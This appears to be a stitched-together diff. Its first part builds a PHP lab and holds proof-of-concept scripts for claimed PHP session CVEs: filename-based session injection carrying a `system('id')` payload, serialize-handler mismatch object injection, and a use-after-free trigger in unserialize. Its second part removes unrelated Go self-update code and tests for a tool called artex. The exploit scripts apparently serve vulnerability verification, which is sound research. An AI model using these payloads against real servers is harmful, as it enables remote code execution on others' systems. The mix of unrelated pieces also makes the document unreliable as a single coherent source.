upload_max_filesize = 128M
EOF
# Nginx config
cat > nginx.conf << 'EOF'
server {
listen 80;
root /var/www/html;
index index.php;
client_max_body_size 128m;
location / { try_files $uri $uri/ /index.php?$query_string; }
location ~ \.php$ {
fastcgi_pass php:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_request_buffering off;
}
}
EOF
# Docker Compose
cat > docker-compose.yml << 'EOF'
services:
php:
image: php:8.2-fpm
container_name: php2shell-lab
ports: ["9000:9000"]
volumes:
- ./webroot:/var/www/html
- ./php.ini:/usr/local/etc/php/php.ini
security_opt: [seccomp:unconfined]
privileged: true
command: >
bash -c "mkdir -p /tmp/sessions && chmod 1777 /tmp/sessions && php-fpm"
nginx:
image: nginx:alpine
container_name: php2shell-nginx
ports: ["18080:80"]
volumes:
- ./webroot:/var/www/html
- ./nginx.conf:/etc/nginx/conf.d/default.conf
depends_on: [php]
EOF
echo "Starting containers..."
docker compose up -d --build
echo ""
echo "Lab ready!"
echo " HTTP: http://127.0.0.1:18080"
echo " FCGI: 127.0.0.1:9000"
echo ""
echo "Run POCs:"
echo " python3 ../poc/verify_session_injection.py"
echo " python3 ../poc/verify_handler_mismatch.py"
@@ -0,0 +1,109 @@
#!/usr/bin/env python3
"""
CVE-2026-109618/109619 — Verify session handler mismatch → object injection.
Demonstrates:
1. Session written in php_serialize format (via directory with .user.ini)
2. Pipe | in filename preserved in php_serialize format
3. php handler reads the session → splits at | → deserializes injected object
4. __destruct fires even when decode returns FAILURE (trailing data)
Setup required:
- /app/ directory with .user.ini: session.serialize_handler = php_serialize
- /api/ directory with .user.ini: session.serialize_handler = php
- Both share the same session.save_path
Usage:
python3 verify_handler_mismatch.py --target http://127.0.0.1:18080
For authorized security testing only.
"""
import argparse
import socket
import sys
from urllib.parse import urlparse
def upload(host, port, path, sid, filename):
boundary = "MISMATCH"
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
f"--{boundary}--\r\n"
).encode("latin-1")
req = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n\r\n"
).encode() + body
s = socket.create_connection((host, port), timeout=15)
s.sendall(req)
s.settimeout(10)
resp = b""
while True:
try:
d = s.recv(65536)
if not d:
break
resp += d
except socket.timeout:
break
s.close()
return resp
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", default="http://127.0.0.1:18080")
ap.add_argument("--write-path", default="/app/upload.php",
help="Endpoint with php_serialize handler")
ap.add_argument("--read-path", default="/api/endpoint.php",
help="Endpoint with php handler")
ap.add_argument("--sid", default="mismatchverify0000000000000")
args = ap.parse_args()
u = urlparse(args.target)
host = u.hostname
port = u.port or 80
print("[*] CVE-2026-109618/109619 — Handler Mismatch Verification")
print(f"[*] Target: {args.target}")
print()
# Step 1: Write session via php_serialize endpoint
# Filename contains |O:8:"stdClass":0:{} (escaped quotes)
gadget = 'x|O:8:\\"stdClass\\":0:{}'
print(f"[1] Writing session via {args.write_path} (php_serialize)")
print(f" Filename payload: {gadget}")
upload(host, port, args.write_path, args.sid, gadget)
print(" → Session file written in php_serialize format")
# Step 2: Trigger via php handler endpoint
print(f"\n[2] Triggering mismatch via {args.read_path} (php handler)")
print(" php handler scans for | → splits → deserializes O:8:\"stdClass\":0:{}")
resp = upload(host, port, args.read_path, args.sid, "dummy")
status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO RESPONSE"
print(f" Response: {status}")
print()
print("[*] Verification indicators:")
print(" - 'Failed to decode session object' warning = mismatch triggered")
print(" - 'Session object destruction failed' = __destruct fired on injected object")
print(" - If target has a class with exploitable __destruct → RCE")
print()
print("[*] Check target for:")
print(f" - Session file: /tmp/sessions/sess_{args.sid}")
print(" - Evidence of __destruct execution (file writes, network connections, etc.)")
if __name__ == "__main__":
main()
@@ -0,0 +1,105 @@
#!/usr/bin/env python3
"""
CVE-2026-109618/109619 — Verify session file injection via upload_progress filename.
Demonstrates:
1. Session fixation via POST body PHPSESSID (bypasses use_only_cookies)
2. Unvalidated filename stored raw in session file (can contain PHP code)
3. Session file created with attacker-controlled content
Usage:
python3 verify_session_injection.py --target http://127.0.0.1:18080
For authorized security testing only.
"""
import argparse
import socket
import sys
from urllib.parse import urlparse
def send_upload(host, port, path, sid, filename):
boundary = "VERIFY"
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
f"--{boundary}--\r\n"
).encode("latin-1")
req = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Cookie: PHPSESSID={sid}\r\n"
f"Connection: close\r\n\r\n"
).encode() + body
s = socket.create_connection((host, port), timeout=15)
s.sendall(req)
s.settimeout(10)
resp = b""
while True:
try:
d = s.recv(65536)
if not d:
break
resp += d
except socket.timeout:
break
s.close()
return resp
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", default="http://127.0.0.1:18080")
ap.add_argument("--path", default="/index.php")
ap.add_argument("--sid", default="verifysession00000000000000")
args = ap.parse_args()
u = urlparse(args.target)
host = u.hostname
port = u.port or 80
print("[*] CVE-2026-109618/109619 — Session Injection Verification")
print(f"[*] Target: {args.target}")
print()
# Test 1: Normal filename
print("[1] Testing normal filename...")
send_upload(host, port, args.path, args.sid + "a", "normal.txt")
print(" → Session file should contain: s:10:\"normal.txt\"")
# Test 2: PHP code in filename
php_payload = "<?php system('id');echo 'RCE';?>"
print(f"[2] Testing PHP code in filename: {php_payload}")
send_upload(host, port, args.path, args.sid + "b", php_payload)
print(f" → Session file should contain PHP code as raw string")
# Test 3: Pipe character in filename (for handler mismatch)
pipe_payload = "x|O:8:\"stdClass\":0:{}"
print(f"[3] Testing pipe + serialized object in filename")
# Need \" escaping for Content-Disposition
escaped = pipe_payload.replace('"', '\\"')
send_upload(host, port, args.path, args.sid + "c", escaped)
print(f" → Session file should contain |O:8: in the filename field")
print()
print("[*] Verification complete. Check session files on the target:")
print(f" cat /tmp/sessions/sess_{args.sid}a")
print(f" cat /tmp/sessions/sess_{args.sid}b")
print(f" cat /tmp/sessions/sess_{args.sid}c")
print()
print("[*] Key indicators:")
print(" - Session fixation: file created with attacker-controlled SID")
print(" - Filename injection: raw PHP code / serialized objects in session data")
print(" - No authentication required")
if __name__ == "__main__":
main()
@@ -0,0 +1,48 @@
<?php
/**
* CVE-2026-109618/109619 — var_destroy __destruct reentry UAF verification.
*
* Triggers ASAN heap-use-after-free in php_var_unserialize (var_unserializer.c:851).
*
* Run with: USE_ZEND_ALLOC=0 ASAN_OPTIONS="detect_leaks=0" php verify_uaf_asan.php
*
* Root cause: var_destroy() frees back-reference extension chunks (line 245),
* then i_zval_ptr_dtor at line 310 fires __destruct WITHOUT BG(serialize_lock).
* Inner unserialize('R:1500;') reuses the outer var_hash (freed entries) → UAF read.
*
* For authorized security testing only.
*/
class TriggerUAF {
public function __destruct() {
fwrite(STDERR, "[*] __destruct fired (serialize_lock=0, BG(unserialize).level>0)\n");
fwrite(STDERR, "[*] Attempting R:1500 backref into freed var_hash extension chunk...\n");
$result = @unserialize('R:1500;');
$type = gettype($result);
fwrite(STDERR, "[*] R:1500 resolved to: $type\n");
if ($result !== false) {
fwrite(STDERR, "[+] UAF CONFIRMED: R:1500 read from freed memory!\n");
}
}
}
// Build payload: 2000+ entries to overflow VAR_ENTRIES_MAX (1018)
// Then duplicate key to move TriggerUAF to dtor list
$N = 2000;
$payload = 'a:' . ($N + 2) . ':{';
for ($i = 0; $i < $N; $i++) {
$payload .= "i:$i;i:$i;";
}
$payload .= 'i:99999;O:10:"TriggerUAF":0:{}';
$payload .= 'i:99999;i:42;';
$payload .= '}';
fwrite(STDERR, "[*] Payload: " . strlen($payload) . " bytes, $N entries + UAF trigger\n");
fwrite(STDERR, "[*] Firing unserialize()...\n");
@unserialize($payload);
fwrite(STDERR, "[*] Done. If ASAN reported heap-use-after-free, the UAF is confirmed.\n");
fwrite(STDERR, "[*] Expected ASAN trace:\n");
fwrite(STDERR, " READ at php_var_unserialize (var_unserializer.c:851)\n");
fwrite(STDERR, " freed at var_destroy (var_unserializer.c:245)\n");
-313
View File
@@ -1,313 +0,0 @@
package selfupdate
import (
"context"
"crypto/sha256"
"encoding/hex"
"errors"
"fmt"
"io"
"log"
"os"
"os/exec"
"strings"
"time"
)
// smokeEnv lets the child process launched by the smoke test skip Bootstrap entirely.
//
// Strictly speaking it would be fine without it: the child's os.Executable() is
// artex.new, so every derived path carries the .new infix and can never touch the
// real upgrade files. But relying on that coincidence is too fragile — an explicit
// short-circuit is obvious at a glance and saves the child a pointless disk probe.
const smokeEnv = "ARTEX_SELFUPDATE_SMOKE"
// Action is Bootstrap's instruction to main.
type Action int
const (
// Continue: start the server as usual.
Continue Action = iota
// Restart: exit immediately with ExitRestart so the supervisor script relaunches us.
Restart
)
// State describes the upgrade state at this startup, so /api/update/check can
// faithfully tell the frontend "did the last upgrade succeed or was it rolled back".
type State struct {
Pending bool // swapped but not yet confirmed stable
RolledBack bool // this startup just performed an automatic rollback
FailedStage bool // staged file failed verification/smoke test and was discarded
Detail string // one-sentence user-facing explanation
}
// Bootstrap runs at the very beginning of main, and must be called before any port
// is listened on or any database is opened.
//
// Three situations:
//
// ① staged file artex.new exists → verify + smoke test; on success swap and ask
// for a restart; on failure discard it and keep
// running the old version
// ② only the marker file remains → the swap just happened; count one attempt;
// roll back after enough consecutive failures
// ③ nothing → normal startup
func Bootstrap() (Action, State) {
if os.Getenv(smokeEnv) != "" {
return Continue, State{}
}
p, err := ResolvePaths()
if err != nil {
log.Printf("[update] skipping bootstrap: %v", err)
return Continue, State{}
}
if _, err := os.Stat(p.New); err == nil {
return applyStaged(p)
}
m, ok := readMarker(p.Marker)
if !ok {
return Continue, State{}
}
return confirmOrRollback(p, m)
}
// applyStaged handles the "staged file exists" situation: swap if it verifies,
// discard it if not.
//
// This is the only place in the whole upgrade chain that overwrites the executable,
// and the final gate — the smoke test stops problems like a corrupted download,
// a wrong architecture choice, or missing dynamic libraries. Once a binary that
// cannot run is let through, the supervisor script will tirelessly keep relaunching
// it while the Go code never gets a chance to run, making automatic rollback impossible.
func applyStaged(p Paths) (Action, State) {
m, _ := readMarker(p.Marker)
if err := verifyStaged(p); err != nil {
log.Printf("[update] staged new version failed verification, discarded, continuing with the current version: %v", err)
cleanStaged(p)
_ = os.Remove(p.Marker)
return Continue, State{FailedStage: true, Detail: "new version failed verification and was discarded: " + err.Error()}
}
if err := swap(p); err != nil {
log.Printf("[update] swap failed, continuing with the current version: %v", err)
cleanStaged(p)
_ = os.Remove(p.Marker)
return Continue, State{FailedStage: true, Detail: "swap failed: " + err.Error()}
}
// Swap succeeded. Keep the marker; the next startup (running the new version) confirms whether it is stable.
m.Attempts = 0
if m.StagedAt == 0 {
m.StagedAt = time.Now().Unix()
}
if err := writeMarker(p.Marker, m); err != nil {
log.Printf("[update] failed to write upgrade marker (automatic rollback capability lost): %v", err)
}
log.Printf("[update] swapped to %s, exiting to restart (exit %d)", orUnknown(m.To), ExitRestart)
return Restart, State{Pending: true}
}
// confirmOrRollback handles "the startup after a swap": counts attempts, and swaps
// the old version back once the limit is exceeded.
//
// The counter only increments after the Go code is running, so it covers failures
// of the "executable but crashes during initialization" kind (incompatible config,
// port occupied, DB migration blew up); "cannot exec at all" is stopped by the
// smoke test before the swap — together they are complete.
func confirmOrRollback(p Paths, m marker) (Action, State) {
m.Attempts++
if m.Attempts > maxAttempts {
if err := rollback(p); err != nil {
// If even the rollback fails, do not restart again, or we fall into an
// infinite restart loop. Remove the marker and let the process start
// as-is — if it cannot come up, the user can at least see why in the logs.
log.Printf("[update] new version failed to start %d times in a row, and rollback failed too: %v", maxAttempts, err)
_ = os.Remove(p.Marker)
return Continue, State{Detail: "new version failed to start and rollback failed: " + err.Error()}
}
log.Printf("[update] new version failed to start %d times in a row, rolled back to %s, exiting to restart (exit %d)",
maxAttempts, orUnknown(m.From), ExitRestart)
_ = os.Remove(p.Marker)
return Restart, State{RolledBack: true, Detail: fmt.Sprintf("new version failed to start, rolled back to %s", orUnknown(m.From))}
}
if err := writeMarker(p.Marker, m); err != nil {
log.Printf("[update] failed to update upgrade marker: %v", err)
}
log.Printf("[update] new version starting (attempt %d/%d); the upgrade will be confirmed once it runs stably",
m.Attempts, maxAttempts)
return Continue, State{Pending: true}
}
// Settle confirms the new version has been running stably and clears the upgrade marker.
//
// Called by main with a delay after the HTTP listener is up: only surviving that
// period counts; otherwise the marker stays in place and the next startup keeps
// counting attempts until a rollback is triggered.
func Settle() {
p, err := ResolvePaths()
if err != nil {
return
}
settle(p)
}
func settle(p Paths) {
if _, ok := readMarker(p.Marker); !ok {
return // not a post-upgrade startup, nothing to do
}
if err := os.Remove(p.Marker); err != nil && !errors.Is(err, os.ErrNotExist) {
log.Printf("[update] failed to clear upgrade marker: %v", err)
return
}
log.Printf("[update] new version is running stably, upgrade complete (previous version kept as %s)", p.Old)
}
// SettleDelay is the runtime duration required to decide "the new version survived".
const SettleDelay = 30 * time.Second
// verifyStaged verifies the staged file: compare SHA256 first, then actually launch it once.
func verifyStaged(p Paths) error {
want, err := os.ReadFile(p.Sum)
if err != nil {
return fmt.Errorf("failed to read checksum: %w", err)
}
got, err := fileSHA256(p.New)
if err != nil {
return fmt.Errorf("failed to compute checksum: %w", err)
}
if !strings.EqualFold(strings.TrimSpace(string(want)), got) {
return errors.New("SHA256 mismatch (download corrupted or tampered with)")
}
return smokeTest(p.New)
}
// smokeTest launches the new binary with -h to confirm it can really execute on
// the current system. This stops a whole class of problems: truncated downloads,
// wrong architecture (exec format error), missing dependencies, and so on.
func smokeTest(bin string) error {
if err := os.Chmod(bin, 0o755); err != nil {
return fmt.Errorf("failed to grant execute permission: %w", err)
}
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
cmd := exec.CommandContext(ctx, bin, "-h")
cmd.Env = append(os.Environ(), smokeEnv+"=1")
out, err := cmd.CombinedOutput()
if ctx.Err() != nil {
return errors.New("smoke test timed out (new binary unresponsive)")
}
if err != nil {
snippet := strings.TrimSpace(string(out))
if len(snippet) > 300 {
snippet = snippet[:300] + "…"
}
return fmt.Errorf("smoke test failed: %v: %s", err, snippet)
}
return nil
}
// swap replaces the current binary with the staged new version.
//
// Both Unix and Windows allow renaming a running executable (what Windows forbids
// is deleting and overwriting; rename is not on that list), so there is no need to
// split by platform here, nor to stop ourselves first.
func swap(p Paths) error {
// Windows rename does not overwrite an existing target, so the .old left by the previous upgrade must be removed first.
if err := os.Remove(p.Old); err != nil && !errors.Is(err, os.ErrNotExist) {
return fmt.Errorf("failed to clean up old backup %s: %w", p.Old, err)
}
if err := os.Rename(p.Current, p.Old); err != nil {
return fmt.Errorf("failed to back up the current version: %w", err)
}
if err := os.Rename(p.New, p.Current); err != nil {
// The swap failed but the current version has already been moved away; it must be put back as-is, or the next startup has no executable.
if rerr := os.Rename(p.Old, p.Current); rerr != nil {
return fmt.Errorf("failed to install the new version (%v), and restoring the current version failed too: %w", err, rerr)
}
return fmt.Errorf("failed to install the new version: %w", err)
}
_ = os.Remove(p.Sum)
return nil
}
// rollback swaps back the old version that swap backed up.
func rollback(p Paths) error {
if _, err := os.Stat(p.Old); err != nil {
return fmt.Errorf("no backup to roll back to %s: %w", p.Old, err)
}
// Move the unstartable new version to .failed for troubleshooting instead of deleting it outright.
failed := p.Current + ".failed"
_ = os.Remove(failed)
if err := os.Rename(p.Current, failed); err != nil {
return fmt.Errorf("failed to move the failing version away: %w", err)
}
if err := os.Rename(p.Old, p.Current); err != nil {
return fmt.Errorf("failed to restore the old version: %w", err)
}
return nil
}
// Rollback implements /api/update/rollback: actively return to the previous version.
// It only does the swap; the restart is likewise left to the supervisor script (the caller then exits with ExitRestart).
func Rollback() error {
p, err := ResolvePaths()
if err != nil {
return err
}
if _, err := os.Stat(p.Old); err != nil {
return errors.New("no previous version to roll back to (" + p.Old + " does not exist)")
}
cleanStaged(p)
if err := smokeTest(p.Old); err != nil {
return fmt.Errorf("the previous version cannot execute, refusing to roll back: %w", err)
}
// Swap current and backup: after the rollback you can still roll forward again.
tmp := p.Current + ".swap"
_ = os.Remove(tmp)
if err := os.Rename(p.Current, tmp); err != nil {
return fmt.Errorf("failed to move the current version away: %w", err)
}
if err := os.Rename(p.Old, p.Current); err != nil {
_ = os.Rename(tmp, p.Current)
return fmt.Errorf("failed to install the previous version: %w", err)
}
if err := os.Rename(tmp, p.Old); err != nil {
log.Printf("[update] failed to tidy up the backup after rollback (does not affect operation): %v", err)
}
_ = os.Remove(p.Marker)
return nil
}
// HasBackup reports whether a previous version exists to roll back to, so the frontend can decide whether to show the rollback button.
func HasBackup() bool {
p, err := ResolvePaths()
if err != nil {
return false
}
_, err = os.Stat(p.Old)
return err == nil
}
func fileSHA256(path string) (string, error) {
f, err := os.Open(path)
if err != nil {
return "", err
}
defer f.Close()
h := sha256.New()
if _, err := io.Copy(h, f); err != nil {
return "", err
}
return hex.EncodeToString(h.Sum(nil)), nil
}
func orUnknown(s string) string {
if strings.TrimSpace(s) == "" {
return "unknown version"
}
return s
}
-143
View File
@@ -1,143 +0,0 @@
package selfupdate
import (
"context"
"encoding/json"
"fmt"
"net/http"
"net/url"
"strings"
"time"
)
// Repo is the release source. Hardcoded rather than configurable: a configurable
// update source hands anyone who can change the config a remote code execution
// channel — a door a penetration testing platform must never open.
const Repo = "Autumn-27/artex"
// latestURL is GitHub's "latest stable release" endpoint. It automatically skips prereleases and drafts.
const latestURL = "https://api.github.com/repos/" + Repo + "/releases/latest"
// allowedHosts restricts the domains the upgrade chain may visit. Together with
// checkRedirect below, any hop redirected to a host outside this list fails
// immediately — this is the first gate against DNS poisoning / MITM swapping out
// the binary; the second is the SHA256SUMS comparison.
var allowedHosts = map[string]bool{
"api.github.com": true,
"github.com": true,
"objects.githubusercontent.com": true, // the object storage where release assets actually land
"release-assets.githubusercontent.com": true,
"raw.githubusercontent.com": true,
}
// Release holds the fields we care about in a GitHub Release.
type Release struct {
TagName string `json:"tag_name"`
Name string `json:"name"`
Body string `json:"body"`
Draft bool `json:"draft"`
Prerelease bool `json:"prerelease"`
PublishedAt time.Time `json:"published_at"`
HTMLURL string `json:"html_url"`
Assets []Asset `json:"assets"`
}
// Asset is a file attached to a Release.
type Asset struct {
Name string `json:"name"`
URL string `json:"browser_download_url"`
Size int64 `json:"size"`
}
// NewClient builds an HTTP client that only trusts GitHub domains. Direct
// connection when proxy is empty.
//
// Deliberately does not reuse the default Transport: the upgrade chain must force
// TLS with certificate verification, and must not be affected by things like
// InsecureSkipVerify set elsewhere.
func NewClient(proxy string) *http.Client {
tr := &http.Transport{
ForceAttemptHTTP2: true,
TLSHandshakeTimeout: 15 * time.Second,
}
if p := strings.TrimSpace(proxy); p != "" {
if pu, err := url.Parse(p); err == nil {
tr.Proxy = http.ProxyURL(pu)
}
}
return &http.Client{
Transport: tr,
Timeout: 30 * time.Minute, // downloading a full package must not be killed by a request-level timeout
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 10 {
return fmt.Errorf("too many redirects")
}
return checkURL(req.URL)
},
}
}
// checkURL enforces https + a domain whitelist.
func checkURL(u *url.URL) error {
if u.Scheme != "https" {
return fmt.Errorf("refusing non-HTTPS address: %s", u.Scheme+"://"+u.Host)
}
if !allowedHosts[strings.ToLower(u.Hostname())] {
return fmt.Errorf("refusing non-GitHub domain: %s", u.Hostname())
}
return nil
}
// FetchLatest queries the latest stable release.
func FetchLatest(ctx context.Context, c *http.Client) (*Release, error) {
req, err := http.NewRequestWithContext(ctx, http.MethodGet, latestURL, nil)
if err != nil {
return nil, err
}
if err := checkURL(req.URL); err != nil {
return nil, err
}
req.Header.Set("Accept", "application/vnd.github+json")
req.Header.Set("User-Agent", "artex-selfupdate")
resp, err := c.Do(req)
if err != nil {
return nil, fmt.Errorf("failed to reach GitHub (a global proxy can be configured in system settings): %w", err)
}
defer resp.Body.Close()
switch {
case resp.StatusCode == http.StatusForbidden, resp.StatusCode == http.StatusTooManyRequests:
// Unauthenticated GitHub API allows 60 requests per IP per hour; easy to hit when sharing an egress IP.
return nil, fmt.Errorf("GitHub API rate limit (60 per hour), please try again later")
case resp.StatusCode == http.StatusNotFound:
return nil, fmt.Errorf("repository %s has no stable release yet", Repo)
case resp.StatusCode != http.StatusOK:
return nil, fmt.Errorf("GitHub returned %d", resp.StatusCode)
}
var rel Release
if err := json.NewDecoder(resp.Body).Decode(&rel); err != nil {
return nil, fmt.Errorf("failed to parse Release: %w", err)
}
if strings.TrimSpace(rel.TagName) == "" {
return nil, fmt.Errorf("Release is missing a tag")
}
return &rel, nil
}
// AssetName returns the release package name for the current platform, matching
// build.sh's package_binary: artex-<version>-<os>-<arch>.zip (version without the v prefix).
func AssetName(tag, goos, goarch string) string {
return fmt.Sprintf("artex-%s-%s-%s.zip", strings.TrimPrefix(tag, "v"), goos, goarch)
}
// FindAsset finds an asset by name in the Release.
func (r *Release) FindAsset(name string) (Asset, bool) {
for _, a := range r.Assets {
if strings.EqualFold(a.Name, name) {
return a, true
}
}
return Asset{}, false
}
-175
View File
@@ -1,175 +0,0 @@
// Package selfupdate implements ARTEX's one-click update from the web UI: it pulls
// the new binary from a GitHub Release, verifies and stages it, and swaps it in atomically on the next start.
//
// Overall division of labor (see start.sh / start.bat):
//
// Start script = a dumb supervision loop, responsible only for "deciding whether to relaunch the process after it exits, based on its exit code"
// This package = all the error-prone logic (download / SHA256 verify / smoke test / swap / rollback on failure)
//
// The swap lives in Go rather than the scripts because sha256 verification and the smoke test would need two implementations in sh and bat,
// (sha256sum / shasum / certutil), and this is precisely the step that must never fail — swap in a binary that cannot run,
// and the supervisor will faithfully relaunch it forever, leaving the user to rescue things on the machine by hand.
//
// A full upgrade goes through three process starts:
//
// (1) the old server receives /api/update/apply → download and verify → stage artex.new → exit 75
// (2) the script relaunches the old version → Bootstrap spots artex.new → verify + smoke test → swap → exit 75
// (3) the script relaunches again, now the new version → Bootstrap records one attempt → clears the marker after a successful start
//
// Any failed step falls back to the old version: in (2) a failed verification deletes the staged file and keeps the old version running; in (3) three
// consecutive crashes before the marker is cleared mean the new version cannot start, so artex.old is swapped back automatically.
package selfupdate
import (
"encoding/json"
"fmt"
"os"
"path/filepath"
"strconv"
"strings"
)
// ExitRestart is the "please relaunch me" exit code (EX_TEMPFAIL). When the start script sees it,
// it reruns immediately without counting toward crash backoff. 0 means the user stopped it normally (the script exits the loop); anything else is treated as a crash.
const ExitRestart = 75
// maxAttempts is the number of start attempts allowed after the swap. Every start of the new version increments the counter; surviving
// settleDelay clears the marker; maxAttempts consecutive crashes mean the new version simply cannot start, so it rolls back automatically.
const maxAttempts = 3
// Paths lists every file an upgrade touches, all anchored under **the executable's directory**.
// CWD is deliberately avoided: when running as a service the working directory may be / or any path, and using CWD would drop the staged files
// somewhere else, breaking the swap logic outright.
type Paths struct {
Dir string // directory of the executable
Current string // currently running binary artex / artex.exe
New string // staged new version artex.new / artex.new.exe
Sum string // new version sha256 (hex) artex.new.sha256 / artex.new.exe.sha256
Old string // pre-swap backup of old version artex.old / artex.old.exe
Marker string // upgrade state marker artex.upgrade.json
}
// ResolvePaths derives all upgrade paths from the current executable.
//
// On Windows .new/.old must also carry the .exe suffix, otherwise both the smoke test and post-swap execution fail,
// so the suffix is stripped off first and re-appended, keeping the naming symmetric across the two platforms.
func ResolvePaths() (Paths, error) {
exe, err := os.Executable()
if err != nil {
return Paths{}, fmt.Errorf("locate executable: %w", err)
}
if resolved, err := filepath.EvalSymlinks(exe); err == nil {
exe = resolved
}
dir := filepath.Dir(exe)
name := filepath.Base(exe)
ext := filepath.Ext(name) // ".exe" on Windows, usually empty on Unix
stem := strings.TrimSuffix(name, ext)
join := func(suffix string) string { return filepath.Join(dir, stem+suffix+ext) }
return Paths{
Dir: dir,
Current: exe,
New: join(".new"),
Sum: join(".new") + ".sha256",
Old: join(".old"),
Marker: filepath.Join(dir, stem+".upgrade.json"),
}, nil
}
// marker records the progress of one swap and triggers automatic rollback when the new version cannot start.
type marker struct {
From string `json:"from"` // version before the upgrade
To string `json:"to"` // target version
Attempts int `json:"attempts"` // start attempts made after the swap
StagedAt int64 `json:"staged_at"`
}
func readMarker(path string) (marker, bool) {
b, err := os.ReadFile(path)
if err != nil {
return marker{}, false
}
var m marker
if json.Unmarshal(b, &m) != nil {
return marker{}, false
}
return m, true
}
func writeMarker(path string, m marker) error {
b, err := json.MarshalIndent(m, "", " ")
if err != nil {
return err
}
return os.WriteFile(path, b, 0o644)
}
// cleanStaged removes the staged files. Successful swap, failed verification, and user cancellation all go through it, so a leftover
// artex.new is not retried on the next start.
func cleanStaged(p Paths) {
_ = os.Remove(p.New)
_ = os.Remove(p.Sum)
}
// CompareVersions compares two version numbers and returns -1/0/1 (a<b / a==b / a>b).
// ok=false means at least one side is not a comparable version number (such as a local dev build's "dev" or
// a git describe output like "0.3.7-2-gabc1234-dirty"); the caller must disable one-click update then,
// otherwise a dev build would be "upgraded" to a release, overwriting uncommitted changes.
func CompareVersions(a, b string) (int, bool) {
av, aok := parseVersion(a)
bv, bok := parseVersion(b)
if !aok || !bok {
return 0, false
}
for i := range 3 {
if av[i] != bv[i] {
if av[i] < bv[i] {
return -1, true
}
return 1, true
}
}
return 0, true
}
// parseVersion parses a "v0.3.7" / "0.3.7" style version number into [3]int.
//
// Only a clean three-part form is accepted: for non-tag builds build.sh produces suffixed
// versions via git describe like "0.3.7-2-gabc1234"; those must be judged non-comparable rather than treated as
// 0.3.7 — otherwise a dev build gets misjudged as "already latest" or overwritten by a release.
func parseVersion(s string) ([3]int, bool) {
s = strings.TrimSpace(s)
s = strings.TrimPrefix(s, "v")
if s == "" {
return [3]int{}, false
}
parts := strings.Split(s, ".")
if len(parts) != 3 {
return [3]int{}, false
}
var out [3]int
for i, p := range parts {
n, err := strconv.Atoi(p)
if err != nil || n < 0 {
return [3]int{}, false
}
out[i] = n
}
return out, true
}
// InDocker reports whether the process runs inside a container. Under Docker the swap writes to the container's writable layer,
// and `docker compose up -d` recreating the container reverts to the version bundled in the image — that is expected behavior
// (the user is pulling a new image at that point anyway), but the frontend needs to be able to explain it clearly.
func InDocker() bool {
if _, err := os.Stat("/.dockerenv"); err == nil {
return true
}
b, err := os.ReadFile("/proc/1/cgroup")
if err != nil {
return false
}
s := string(b)
return strings.Contains(s, "docker") || strings.Contains(s, "containerd")
}
-459
View File
@@ -1,459 +0,0 @@
package selfupdate
import (
"archive/zip"
"net/url"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
)
// testPaths creates an isolated upgrade directory. ResolvePaths() cannot be used directly — it would point at the test binary itself,
// and running it once would rename the go test executable.
func testPaths(t *testing.T) Paths {
t.Helper()
dir := t.TempDir()
return Paths{
Dir: dir,
Current: filepath.Join(dir, "artex"),
New: filepath.Join(dir, "artex.new"),
Sum: filepath.Join(dir, "artex.new.sha256"),
Old: filepath.Join(dir, "artex.old"),
Marker: filepath.Join(dir, "artex.upgrade.json"),
}
}
// fakeBin writes an executable shell script impersonating artex. smokeTest merely launches it with -h and checks the exit code,
// so a script is entirely sufficient and much faster than compiling a real binary.
func fakeBin(t *testing.T, path, marker string, exitCode int) {
t.Helper()
script := "#!/bin/sh\necho " + marker + "\nexit " + itoa(exitCode) + "\n"
if err := os.WriteFile(path, []byte(script), 0o755); err != nil {
t.Fatalf("write fake binary %s: %v", path, err)
}
}
func itoa(n int) string {
if n == 0 {
return "0"
}
return string(rune('0' + n))
}
// stage arranges bin to look "staged and ready to swap": it writes artex.new and its checksum.
func stage(t *testing.T, p Paths, marker string, exitCode int) {
t.Helper()
fakeBin(t, p.New, marker, exitCode)
sum, err := fileSHA256(p.New)
if err != nil {
t.Fatalf("compute checksum: %v", err)
}
if err := os.WriteFile(p.Sum, []byte(sum), 0o644); err != nil {
t.Fatalf("write checksum: %v", err)
}
}
func readAll(t *testing.T, path string) string {
t.Helper()
b, err := os.ReadFile(path)
if err != nil {
t.Fatalf("read %s: %v", path, err)
}
return string(b)
}
func requireUnix(t *testing.T) {
t.Helper()
if runtime.GOOS == "windows" {
t.Skip("the fake binary is an sh script and cannot run on Windows")
}
}
func TestCompareVersions(t *testing.T) {
cases := []struct {
a, b string
want int
comparable bool
}{
{"0.3.7", "0.3.8", -1, true},
{"0.3.8", "0.3.7", 1, true},
{"0.3.7", "0.3.7", 0, true},
{"v0.3.7", "0.3.8", -1, true}, // build.sh strips the v while tags carry it; both sides must be accepted
{"0.3.7", "v0.3.7", 0, true},
{"0.9.0", "0.10.0", -1, true}, // compare numerically, not lexicographically
{"1.0.0", "0.99.99", 1, true},
// Dev builds must be judged non-comparable, otherwise a release overwrites uncommitted changes.
{"dev", "0.3.8", 0, false},
{"0.3.7-2-gabc1234", "0.3.8", 0, false},
{"0.3.7-dirty", "0.3.8", 0, false},
{"0.3", "0.3.8", 0, false},
